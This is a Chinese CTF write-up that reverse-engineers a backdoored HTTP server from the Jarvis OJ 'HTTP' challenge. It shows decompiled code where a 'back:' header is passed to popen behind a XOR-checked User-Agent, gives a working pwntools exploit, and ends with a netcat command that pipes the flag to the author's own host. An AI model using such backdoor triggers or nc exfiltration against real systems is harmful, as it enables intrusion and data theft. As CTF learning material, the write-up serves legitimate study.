Jarvis OJ-HTTP-WP
最开始的时候我也是想成为一个 web 手的,但是在入门的时候就被绊倒在了门槛上。近期参与的比赛中有碰到 http 服务器后门相关的 pwn 题,看起来属于难度比较低的题目,但是由于我对这个东西没有任何了解,就完全不会做,比较可惜,所以我觉得还是有必要了解一下相关的东西,所以就挑了这一道入门题来做一下。
elf 文件是一个 http 服务器,使用 fork 创建新进程处理请求。开头建立了一个 socket 来接受链接,监听了 1807 端口

然后看到 fork 之后的逻辑

v4 为接受 fork 返回值的变量,其值为 0 代表该进程为子进程,那么 sub_40137C 就是服务器接受请求的主逻辑了。此函数中使用了一个 while 循环来一直接收请求
__int64 __fastcall sub_40137C(unsigned int a1)
{
__int64 result; // rax
void *ptr; // [rsp+18h] [rbp-8h]
while ( 1 )
{
result = sub_40125D(a1);
ptr = (void *)result;
if ( !result )
break;
sub_4010DF(a1, off_601CE0);
free(ptr);
}
return result;
}
其中 sub_40125D 函数按每个请求来切割所有的请求
char *__fastcall sub_40125D(int a1)
{
int v1; // eax
char buf; // [rsp+1Fh] [rbp-211h] BYREF
char s[520]; // [rsp+20h] [rbp-210h] BYREF
int v5; // [rsp+228h] [rbp-8h]
int v6; // [rsp+22Ch] [rbp-4h]
v6 = 0;
while ( 1 )
{
v5 = read(a1, &buf, 1uLL);
if ( v5 < 0 )
break;
if ( v5 )
{
v1 = v6++;
s[v1] = buf;
if ( v6 <= 3 || s[v6 - 1] != '\n' || s[v6 - 2] != '\r' || s[v6 - 3] != '\n' || s[v6 - 4] != '\r' )
continue;
}
goto LABEL_10;
}
perror("read");
LABEL_10:
s[v6] = 0;
if ( (unsigned int)sub_40116C(s) )
return 0LL;
if ( s[0] )
return strdup(s);
return 0LL;
}
HTTP 协议中,请求头由 \r\n\r\n
结束,这里在 while 中的 if 就是判断是否扫完了请求头。
特别的,这里有一个 sub_40116C 函数,是对 User-Agent 和请求头的处理,只对 back:
头部字段响应。
__int64 __fastcall sub_40116C(const char *a1)
{
char s[32768]; // [rsp+10h] [rbp-8230h] BYREF
char v3[512]; // [rsp+8010h] [rbp-230h] BYREF
char v4[40]; // [rsp+8210h] [rbp-30h] BYREF
char *v5; // [rsp+8238h] [rbp-8h]
v5 = strstr(a1, "User-Agent: ");
if ( !v5 )
return 0LL;
__isoc99_sscanf(v5, "User-Agent: %32s\r\n", v4);
if ( !(unsigned int)sub_400FAF(v4) )
return 0LL;
v5 = strstr(a1, "back: ");
if ( !v5 )
return 0LL;
__isoc99_sscanf(v5, "back: %512[^\r]s\r\n", v3);
sub_40102F(v3, s, 0x8000LL);
puts(s);
sub_4010DF((unsigned int)fd, s);
return 1LL;
}
对 back:
的响应由函数 sub_40102F 处理
__int64 __fastcall sub_40102F(const char *a1, char *a2, int a3)
{
char *v3; // rbx
FILE *stream; // [rsp+20h] [rbp-20h]
int i; // [rsp+2Ch] [rbp-14h]
stream = popen(a1, "r");
if ( stream )
{
for ( i = 0; ; ++i )
{
v3 = &a2[i];
*v3 = fgetc(stream);
if ( *v3 == -1 || a3 - 1 <= i )
break;
}
pclose(stream);
}
else
{
i = sprintf(a2, "error command line:%s \n", a1);
}
a2[i] = 0;
return (unsigned int)i;
}
会直接执行该字段值,也就是只需要通过 back 字段就可以实现任意代码执行,实现后门的利用。不过利用后门之前要通过 User-Agent 的检测,也就是 sub_400FAF 这里的判断
__int64 __fastcall sub_400FAF(__int64 a1)
{
int v2; // [rsp+1Ch] [rbp-14h]
char *s; // [rsp+20h] [rbp-10h]
int i; // [rsp+2Ch] [rbp-4h]
s = (char *)sub_400D30(off_601CE8);
v2 = strlen(s);
for ( i = 0; i < v2; ++i )
{
if ( (i ^ *(char *)(i + a1)) != s[i] )
return 0LL;
}
return 1LL;
}
s 是在运行时解密的字符串,然后与我们输入的 User-Agent 字段值进行比较,与下标异或后都相同即可通过检测。s 这个字符串可以通过动调容易地求出。
所以就有 exp
#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.log_level = "debug"
#sh = remote("localhost", 1807)
sh = remote("pwn.jarvisoj.com", "9881")
def calcPassword():
crypt = list("2016CCRT")
for i in range(len(crypt)):
crypt[i] = chr(ord(crypt[i]) ^ i)
return "".join(crypt)
def generateRequest(userAgent, cmd):
request = "GET / HTTP/1.1\r\n"
request += "User-Agent: %s\r\n" % (userAgent)
request += "back: %s\r\n" % (cmd)
request += "\r\n\r\n"
return request
sh.send(generateRequest(calcPassword(), "cat flag"))
print sh.recv()
不过不知道为什么,直接 cat flag 并不会返回 flag,可能服务器有过滤,所以可以考虑反弹 shell,但是我尝试后也无果,所以还是通过 nc 发送到我的服务器上,也就是把 cat flag
换成
cat flag | nc my_domain_ip 2000
然后在服务器上 nc -l 2000
即可。